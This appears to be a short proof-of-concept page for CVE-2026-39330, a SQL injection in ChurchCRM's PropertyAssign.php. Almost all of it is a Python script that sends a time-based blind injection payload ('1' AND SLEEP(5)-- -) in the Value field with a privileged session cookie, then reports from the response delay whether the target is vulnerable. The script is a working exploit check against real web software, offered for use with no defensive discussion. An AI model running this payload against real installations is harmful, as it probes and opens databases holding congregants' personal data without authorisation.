CVE-2026-39330 ChurchCRM SQL注入漏洞

import requests # POC for ChurchCRM SQL Injection (CVE-2026-39330) # Target: /PropertyAssign.php # Parameter: Value # Requires valid session cookie with ManageGroups and isEditRecordsEnabled privileges target_url = "http://target-churchcrm/PropertyAssign.php" session_cookie = "Valid_Session_Cookie_Here" # Replace with a valid authenticated session # Malicious payload to test SQL Injection (Time-based blind) # This payload attempts to cause a delay of 5 seconds if the injection is successful sqli_payload = "1' AND SLEEP(5)-- -" # Data payload mimicking the vulnerable request payload_data = { "Value": sqli_payload, "PropertyID": "1", "GroupID": "1" } headers = { "Cookie": f"CRM={session_cookie}", "Content-Type": "application/x-www-form-urlencoded" } try: response = requests.post(target_url, data=payload_data, headers=headers) # Check if the response time indicates successful execution if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability confirmed: SQL Injection exists.") else: print("[-] Vulnerability not detected or privileges insufficient.") except Exception as e: print(f"[!] Error during request: {e}")